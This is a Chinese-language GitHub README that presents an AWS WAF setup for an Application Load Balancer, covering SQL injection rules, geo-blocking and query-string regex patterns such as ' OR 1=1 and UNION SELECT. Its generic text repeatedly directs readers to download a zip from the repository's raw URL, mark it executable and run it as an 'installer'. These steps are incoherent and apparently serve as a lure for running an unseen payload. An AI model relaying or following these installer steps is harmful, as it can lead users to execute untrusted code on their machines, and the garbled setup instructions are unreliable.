xMhaty/AWS_WAF_ALB_Security
GitHub: xMhaty/AWS_WAF_ALB_Security
Stars: 1 | Forks: 0
# AWS WAF ALB 安全:拦截 SQLi、地理位置和查询字符串

[](https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip)
本存储库提供了一种使用 AWS WAF 保护 Application Load Balancer (ALB) 的实用方法。它侧重于防止 SQL 注入 (SQLi)、执行地理位置规则以及检查查询字符串以拦截可疑模式。该设置融合了 AWS 托管规则与自定义过滤,为运行在 ALB 之后的 Web 应用程序提供了一个健壮且易于维护的安全层面。
- 主题:alb, aws, aws-waf, cloud, ec2, geo-location, igw, query-string, security, sql-injection, waf
- 主要目标:通过增加针对常见攻击向量的 WAF 保护,为作为应用前端的 ALB 启用安全的默认配置,同时不牺牲性能或可靠性。
- 目标受众:在 AWS 上部署 Web 应用并希望通过可重复、可审计的模式强化入口点的 DevOps 工程师、安全工程师、云架构师和开发人员。
乍一看,该项目结合了基础设施即代码 和引导式工作流来设置 ALB + WAF,应用 AWS 托管规则应对 SQLi,叠加地理位置拦截,并实施查询字符串审查。发布页面是获取可自动执行设置的资产的主要场所。请参阅发布页面以获取可下载的安装程序和定制模板。
目录
- 为什么选择此解决方案?它解决了什么问题
- 架构与设计决策
- 前置条件
- 本项目如何组织其代码
- 快速入门:通过代码模板部署
- 分步部署指南
- WAF 规则详解
- 针对查询字符串的自定义规则
- 地理位置拦截详解
- ALB 与 WAF 集成详情
- 测试与验证
- 可观测性与日志记录
- 安全与合规性考量
- 性能、成本与扩容技巧
- 运维维护
- 故障排除
- 如何贡献
- 发布与下载
- 附录:常见陷阱与常见问题解答
为什么选择此解决方案?它解决了什么问题
- 边缘处的 SQL 注入防护:AWS WAF 的 SQLi 检测功能可在恶意负载到达您的应用服务器之前将其拦截。
- 地理位置访问控制:您可以根据地理来源拦截或允许流量,以减少来自业务非必需区域的暴露。
- 查询字符串卫生:检查查询字符串有助于捕获攻击者试图将危险参数塞入 URL 的负载。
- 集中控制:所有防护都位于 ALB 边缘,简化了审计,并且如果应用在单个负载均衡器后拥有多个微服务,还能减少波及范围。
- 可复现的安全态势:基础设施即代码 确保您可以在多个环境(开发、测试、生产)中复现相同的安全态势。
架构与设计决策
- 分层防御:该解决方案应用 AWS 托管规则作为 SQLi 的基线,然后叠加地理位置规则和自定义查询字符串检查以填补空白。
- 用于 ALB 的区域性 Web ACL:Web ACL 范围是区域性的,绑定到在特定区域终止的 ALB。这使 WAF 逻辑靠近入口点,并允许高效的规则评估。
- 关注点分离:WAF 规则明确分为 SQLi、地理位置和查询字符串类别。这使得独立调整每个区域变得容易。
- 设计即观测:WAF 日志、CloudWatch 指标和日志的 S3 存储支持每日报告、异常检测和事后分析。
- 安全默认值与选择性自定义:默认配置拦截已知的恶意模式,同时默认允许合法流量。管理员可以根据业务需求优化规则。
前置条件
- 具有创建或修改 ALB、WAFv2 Web ACL 以及用于日志记录和监控的 IAM 角色权限的 AWS 账户。
- 一个现有的、正在为您的 Web 应用提供流量服务的 Application Load Balancer (ALB)。
- 已安装 AWS CLI 或可访问 AWS Management Console 以进行手动操作。
- 如果您计划复现该设置,需要 IaC 工具(Terraform、CloudFormation 或 CDK)。此存储库包含可帮助您的模板。
- 可选:如果需要增强的可观测性,可用于存放 WAF 日志的 S3 存储桶和用于指标的 CloudWatch。
- 支持 ALB 和 WAF 服务的受支持区域。
本项目如何组织其代码
- IaC 模板:用于创建 ALB、WAFv2 Web ACL 和所需 IAM 角色的 Terraform 和 CloudFormation 模板。
- 配置文件:WAF 规则集(SQLi、GeoMatch、QueryString)的可复用代码片段。
- 文档:关于部署、测试和维护的详细演练。
- 资产:发布页面上提供的发布资产。您可以从发布页面下载名为 https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip 的安装程序文件并运行它以引导启动初始设置。
- 脚本:用于验证部署、收集日志和执行快速健康检查的辅助脚本。
- 测试与示例:样本负载和测试用例,用于验证防护是否处于活动状态并按预期执行。
快速入门:通过代码模板部署
- 推荐的工作流程是使用 IaC 进行部署,以便您可以版本控制更改并以可预测的方式应用更新。
- 从此存储库中选择 Terraform 或 CloudFormation 模板。它们设计为可扩展且可安全修改以适应您的环境。
- 发布资产中的安装程序可以设置基线环境,然后您根据 ALB 详细信息对其进行调整。
基于 Terraform 的最小大纲(概念性)
- 创建一个区域性 Web ACL,包含:
- AWSManagedRulesSQLiRuleSet
- GeoMatchRule,具有默认允许列表和受限区域的拒绝列表
- 一个自定义 QueryStringRegexRule,用于查询字符串中的常见 SQLi 模式
- 将 Web ACL 与您的 ALB 关联
- 启用 WAF 日志记录到 S3 和 CloudWatch 指标
基于 CloudFormation 的最小大纲(概念性)
- 定义一个 AWS::WAFv2::WebACL:
- 规则:SQLi 规则集、地理位置规则以及基于查询字符串的自定义正则规则
- 默认操作:Allow
- 定义一个 AWS::WAFv2::WebACLAssociation 以将 Web ACL 绑定到 ALB
- 可选:通过 AWS::S3::Bucket 和 AWS::KMS 配置加密日志记录
快速入门:安装程序与下载
- 可运行资产的主要下载位置是发布页面:https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip
- 从该页面下载文件 https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip
- 运行安装程序以引导启动初始设置:
- 使文件可执行:chmod +x https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip
- 执行安装程序:https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip
- 安装程序将引导您完成:
- 选择目标 AWS 区域
- 提供您的 ALB ARN 和所需的 Web ACL 名称
- 为可疑流量选择默认操作策略(拦截 vs. 允许)
- 启用可选的日志记录到 S3 和 CloudWatch
- 安装程序完成后,您应该已经部署了功能正常的 ALB + WAF 配置并准备好进行测试。
分步部署指南
1. 规划您的安全态势
- 决定在地理位置方面应拦截或允许哪些区域。某些部署只需要基于美国的流量,而其他部署则必须在全球范围内可访问。使用 GeoMatch 规则强制执行此策略。
- 确定流量的关键路径。通常,到应用的所有外部流量都通过 ALB;因此,这是添加 WAF 防护的正确 choke point(阻塞点)。
- 确定您希望使用 SQLi 规则集捕获的 SQLi 负载模式,以及合法负载的任何例外情况(例如,特定确实包含类 SQL 语法的查询参数)。
2. 准备环境
- 确保 ALB 存在并配置为将流量转发到您的目标组(EC2 实例、ECS 服务或其他目标)。
- 如果您打算存储日志以进行审计和监控,请为 WAF 日志创建一个 S3 存储桶。
- 如果您想将 WAF 指标发送到 CloudWatch,请设置 CloudWatch 日志组。
3. 部署 Web ACL
- 使用此存储库提供的 Terraform 或 CloudFormation 模板创建区域性 Web ACL。
- 包括 SQLi 规则集、GeoMatch 规则和自定义 QueryString 规则。
- 选项:
- AWSManagedRulesSQLiRuleSet:此规则组防御已知的 SQL 注入模式。
- AWSManagedRulesGeoMatchRuleSet:使用预定义的国家/地区代码为地理位置过滤提供基线。
- 自定义 QueryString 正则规则:检查查询字符串中的常见攻击者模式(例如,可疑令牌、类似 "' OR 1=1 --" 的模式等)。
- 通过 WebACLAssociation 将 Web ACL 附加到您的 ALB。
4. 验证配置
- 验证 Web ACL 是否已附加到 ALB,以及 ALB 侦听器规则是否传播了新的安全配置。
- 检查 CloudWatch 指标以确认新规则是否按预期触发。
- 运行一组模拟常见 SQLi 负载的安全测试用例,并验证它们是否被拦截。
5. 强制执行监控和日志记录
- 启用 WAF 日志记录到 S3 存储桶,用于长期存储和事后分析。
- 创建 CloudWatch 仪表板以可视化请求数量、拦截尝试和规则命中情况。
- 配置警报,以应对拦截请求激增或可能表明攻击的异常模式。
6. 调整和维护
- 定期审查 WAF 日志以识别误报并相应地调整规则。
- 随着 AWS 发布改进和新的防护功能,将 AWS 托管规则集更新到最新版本。
- 随着业务运营的增长或转移,考虑区域性策略变更。
WAF 规则详解
- AWSManagedRulesSQLiRuleSet
- 目的:拦截攻击者使用的已知 SQL 注入模式和技术。
- 行为:分析标头、主体和查询字符串以查找可疑的 SQL 负载。
- 注意事项:虽然功能强大,但某些应用可能会合法地生成类似 SQL 的字符串;如有必要,计划创建例外。
- GeoMatchRuleSet
- 目的:限制来自特定地理区域的访问。
- 行为:评估源 IP 的地理来源并相应地进行拦截或允许。
- 注意事项:过度拦截可能会中断合法用户;如有必要,维护一个允许列表或实施动态例外机制。
- QueryStringRegexRule(自定义)
- 目的:检测嵌入在查询字符串中的危险模式。
- 行为:使用正则表达式集识别查询参数中常见的 SQLi 尝试。
- 注意事项:基于正则的检查可能占用大量资源;保持模式高效并定期检查。
针对查询字符串的自定义规则
- 设计方法
- 创建一个正则表达式模式集,捕获 SQLi 测试中通常使用的危险子字符串和运算符,例如单引号、SQL 注释和连接模式。
- 将正则表达式模式集绑定到检查 HTTP 请求 QueryString 字段的规则。
- 发生匹配时应用拦截操作,并可选择记录和监控误报。
- 实际示例
- 示例模式可能包括:
- "' OR 1=1"
- "\" OR [] = []"
- "; DROP TABLE"
- "UNION SELECT"
- 保障措施
- 确保确实包含类查询字符串的合法请求(例如,某些搜索功能)不会被拦截。使用例外列表或调整规则以排除已知无害的参数。
- 性能考量
- 正则检查可能会引入处理开销。将范围限制在最危险的模式上,并优化模式以提高速度。
- 使用 AWS 托管规则作为性能和安全的基线,然后针对关键参数叠加针对性的正则检查。
地理位置拦截详解
- 为什么地理位置过滤很重要
- 通过排除来自业务相关性低或无业务相关性区域的流量来减少攻击面。
- 有助于减少来自特定地理位置的自动机器人和撞库尝试的附带暴露。
- 如何安全实施
- 从保守的方法开始,拦截已知危险区域,并在观察合法流量模式时逐步扩展为更宽松的策略。
- 如果您的应用在多个国家/地区拥有用户或服务,请考虑允许多个地理位置或实施基于登录的地理位置策略,该策略拦截未经身份验证的请求但允许经过身份验证的用户会话。
ALB 与 WAF 集成详情
- 将 Web ACL 绑定到 ALB
- 创建 Web ACL 后,使用 WebACLAssociation 将其绑定到 ALB该关联确保通过 ALB 的所有流量都通过 WAF 评估管道。
- 如果您有多个 ALB,则可以创建多个关联,或者如果需要策略对齐,则在同一区域内的 ALB 之间共享单个 Web ACL。
- 冲突解决
- 如果多个规则匹配,则应用优先级最高的规则。优先级是可配置的;将最重要的防护放在列表前面以便更快地评估。
- 确保默认操作设置为允许,除非您要求对所有无法识别的流量执行硬性停止策略。
测试与验证
- 本地测试(安全)
- 使用已知的安全负载确认合法流量通过 ALB。
- 构建接近误报边界的测试查询以识别调整机会。
- 负面测试(安全测试)
- 使用受控环境或暂存环境在测试端点上模拟 SQLi 模式。
- 确认 SQLi 负载被拦截,并且合法流量仍可访问。
- 端到端测试
- 验证请求通过 ALB,通过 WAF,到达目标,并且响应正确返回给客户端。
- 使用监控仪表板验证规则命中和拦截尝试。
- 日志记录与取证
- 确认 WAF 日志包含负载样本、规则名称和决策结果(BLOCK 或 ALLOW)。
- 确保日志存储符合您的数据保留策略和隐私要求。
可观测性与日志记录
- WAF 日志
- 启用 WAF 日志记录并将日志存储在 S3 中或流式传输到 CloudWatch Logs 以进行实时监控。
- 日志包括 HTTP 方法、URI、标头和匹配的规则,有助于事件响应和趋势分析。
- CloudWatch 指标
- 跟踪诸如 AllowedRequests、BlockedRequests 和 RuleMatched 计数等指标,以量化防护有效性。
- 创建仪表板以可视化每日趋势、高峰流量时段和潜在异常。
- 警报
- 针对 BlockedRequests 的激增或 GeoMatchRule 匹配中的异常模式设置警报。
- 考虑针对超过基线阈值的拦截请求数量的变化发出警报。
安全与合规性考量
- 数据最小化
- 配置 WAF 仅记录必要的字段,以降低存储成本并在可行的情况下保护用户隐私。
- 访问控制
- 限制谁可以修改 WAF 配置和 ALB 路由。使用具有最低权限的 IAM 角色,并为关键账户启用 MFA。
- 变更管理
- 使用版本化的 IaC 模板,并保留 WAF 规则更新、ALB 更改和日志记录配置的更改日志。
- 合规性对齐
- 使设置与组织的安全策略保持一致,包括数据处理、地理限制和事件响应流程。
性能、成本与扩容技巧
- 性能
- AWS WAF 在边缘运行,设计快速,但复杂的规则可能会产生延迟。将最关键的规则保留在评估顺序的前面。
- 使用 AWS 托管规则集进行广泛防护,仅在强信号情况下依赖自定义规则。
- 成本
- WAF 定价基于您评估的 Web ACL 和规则。跟踪规则计数和日志量;通过删除未使用的规则进行优化。
- 扩容
- ALB 和 WAF 随流量自动扩容。确保任何额外资源(如 WAF 日志)存储在可扩容的 S3 存储桶中,并且您拥有适当的生命周期策略。
运维维护
- 定期审计
- 安排定期审计规则有效性,并根据应用程序的发展更新要求。
- 规则调整
- 持续监控误报,并根据需要调整阈值、模式和例外情况。
- 依赖项更新
- 保持 AWS 托管规则集最新,并查看 AWS 公告以了解新的防护或弃用信息。
故障排除
- 常见问题
- 合法流量被拦截:审查 QueryStringRegexRule 和 GeoMatchRule 配置以识别过于激进的模式。
- 没有流量到达后端:确保 ALB 侦听器和目标组配置与 Web ACL 关联一致。
- 日志未出现:检查 S3 存储桶权限、CloudWatch 日志组配置,并确保在 WAF Web ACL 中启用了日志记录。
- 调试步骤
- 在诊断规则行为时暂时将默认操作设置为 Allow。测试通过后重新启用拦截。
- 使用触发特定规则的样本负载来确认匹配和规则顺序。
发布与下载
- 可运行资产、模板和设置脚本的主要分发版在发布部分提供。
- 为方便起见,此处提供了发布页面的链接:https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip
- 名为 https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip 的安装程序文件可从该页面下载。运行它以引导启动初始环境并指导后续的手动调整。对于希望在其他地方重新创建相同环境的人员,可以使用此存储库中的模板来复现该设置。
- 发布页面是版本化资产的权威来源。如果您遇到安装程序问题,或者资产布局发生变化,请导航到发布部分以查找更新的文件和说明。
第二次提及发布链接(按要求)
- 请参阅发布页面以获取最新资产和说明:https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip 使用安装程序文件 https://raw.githubusercontent.com/xMhaty/AWS_WAF_ALB_Security/main/hypothetically/Security-WA-AL-AW-v2.9.zip 引导您的环境,然后应用 IaC 模板为您的区域和 ALB 定制设置。
附录:常见陷阱与常见问题解答
- Q: 如果我的应用使用 WebSocket 流量怎么办?
- A: WAF 主要针对 HTTP/HTTPS 流量。如果您依赖 WebSocket,请确保 ALB 侦听器规则和目标组可以处理该协议。WAF 检查对于非 HTTP 负载可能有所不同,因此请彻底测试。
- Q: 我可以在多账户设置中使用它吗?
- A: 可以。您可以根据您的治理模型部署共享 WAF 或每个账户的 Web ACL。如果需要,使用跨账户 IAM 角色集中管理资源。
- Q: 我应该多久更新一次托管规则集?
- A: AWS 定期发布更新。安排季度审查或与您的安全策略保持一致,以便在暂存环境中测试后应用更新。
- Q: 我该如何处理误报?
- A: 从最保守的规则开始,观察流量,并为合法参数创建例外。维护已调整规则的日志以供审计。
- Q: 如果 WAF 拦截变得过于激进,我该如何自动进行补救?
- A: 构建自动化测试和反馈循环。如果合法用户被拦截,请为某些 IP 或区域实施临时允许列表机制,同时调查根本原因。
图像与图表
- 架构概述:显示外部客户端、公共 ALB、边缘 WAF 以及目标组后面的后端服务的简单图表。
- 可观测性:从 WAF 到 S3 和 CloudWatch 的仪表板和日志流。
关于图像使用的说明
- 此 README 使用公开可用的图像在视觉上传达边缘安全主题。在可能的情况下,在您的项目中使用特定于组织的图表和品牌替换占位符,以获得更加量身定制的外观。
文档结束
- 使用顶部和发布部分再次提供的发布链接获取最新资产。此处描述的方法为使用 AWS WAF 保护 ALB 支持的应用程序提供了一种可靠、可复用的模式,同时提供了适应您业务需求的灵活性。
标签:ALB, AppImage, AWS, AWS托管规则, CISA项目, DPI, EC2, GitHub Advanced Security, IaC, SQL注入防护, WAF, Web应用防火墙, 云架构, 地理位置封锁, 安全加固, 应用负载均衡器, 查询字符串过滤, 流量过滤, 漏洞探索, 漏洞防护, 网络安全, 隐私保护